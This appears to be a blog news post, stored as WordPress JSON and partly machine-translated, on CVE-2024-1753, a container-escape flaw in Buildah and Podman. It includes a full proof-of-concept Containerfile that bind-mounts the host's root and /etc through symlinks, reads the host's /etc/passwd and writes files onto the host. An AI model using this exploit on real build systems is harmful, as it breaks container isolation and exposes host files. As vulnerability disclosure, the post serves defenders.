{"id":114412,"date":"2024-03-19T00:25:47","date_gmt":"2024-03-18T22:25:47","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera"},"modified":"2024-03-19T00:25:47","modified_gmt":"2024-03-18T22:25:47","slug":"uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/news\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","title":{"rendered":"Luka w Buildah i Podman, umo\u017cliwiaj\u0105ca obej\u015bcie izolacji kontenera","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

W pakietach Buildah i Podman odkryto luk\u0119 (CVE-2024-1753), kt\u00f3ra umo\u017cliwia pe\u0142en dost\u0119p do systemu plik\u00f3w \u015brodowiska gospodarza na etapie budowy kontenera uruchamianego z uprawnieniami roota. W systemach z w\u0142\u0105czonym SELinux dost\u0119p do systemu plik\u00f3w gospodarza jest ograniczony do trybu tylko do odczytu. \u0141atka jest obecnie dost\u0119pna w postaci poprawki, kt\u00f3ra kilka minut temu zosta\u0142a przyj\u0119ta do bazy kodu Buildah. <\/p>\n

Vulnerability arises because when mounting parts of the filesystem using the command «mount —bind» during the RUN stage, the argument for the source directory (parameter «source=») is not checked for existence in the root filesystem. A maliciously crafted Containerfile can use a container image where the source directory for mounting is set as a symbolic link to the root filesystem. In this case, the mounting operation will mount the host environment's root filesystem into the container, allowing full access to the host's filesystem during the RUN stage and enabling an escape from the container while building using the «buildah build» or «podman build» commands. <\/p>\n

An example of a malicious Containerfile, whose build command «podman build -f ~\\\/Containerfile .» will display the contents of \\\/etc\\\/passwd and create files \\\/BIND_BREAKEOUT and \\\/etc\\\/BIND_BREAKOUT2 in the host environment: FROM alpine as base RUN ln -s \\\/ \\\/rootdir RUN ln -s \\\/etc \\\/etc2 FROM alpine RUN echo «ls container root» RUN ls -l \\\/ RUN echo «With exploit show host root, not the container’s root, and create \\\/BIND_BREAKOUT in \\\/ on the host» RUN —mount=type=bind,from=base,source=\\\/rootdir,destination=\\\/exploit,rw ls -l \\\/exploit; touch \\\/exploit\\\/BIND_BREAKOUT; ls -l \\\/exploit RUN echo «With exploit show host \\\/etc\\\/passwd, not the container’s, and create \\\/BIND_BREAKOUT2 in \\\/etc on the host» RUN —mount=type=bind,rw,source=\\\/etc2,destination=\\\/etc2,from=base ls -l \\\/; ls -l \\\/etc2\\\/passwd; cat \\\/etc2\\\/passwd; touch \\\/etc2\\\/BIND_BREAKOUT2; ls -l \\\/etc2
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\u0179r\u00f3d\u0142o: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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[…]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-114412","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Luka w Buildah i Podman, umo\u017cliwiaj\u0105ca obej\u015bcie izolacji kontenera | ProHoster","description":"W pakietach Buildah i Podman odkryto luk\u0119 (CVE-2024-1753), kt\u00f3ra umo\u017cliwia pe\u0142en dost\u0119p do systemu plik\u00f3w \u015brodowiska gospodarza na etapie budowy kontenera uruchamianego z uprawnieniami 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\u043f\u0430\u043a\u0435\u0442\u0430\u0445 Buildah \u0438 Podman \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-1753), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0445\u043e\u0441\u0442-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u0438 \u0441\u0431\u043e\u0440\u043a\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u043e\u0433\u043e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 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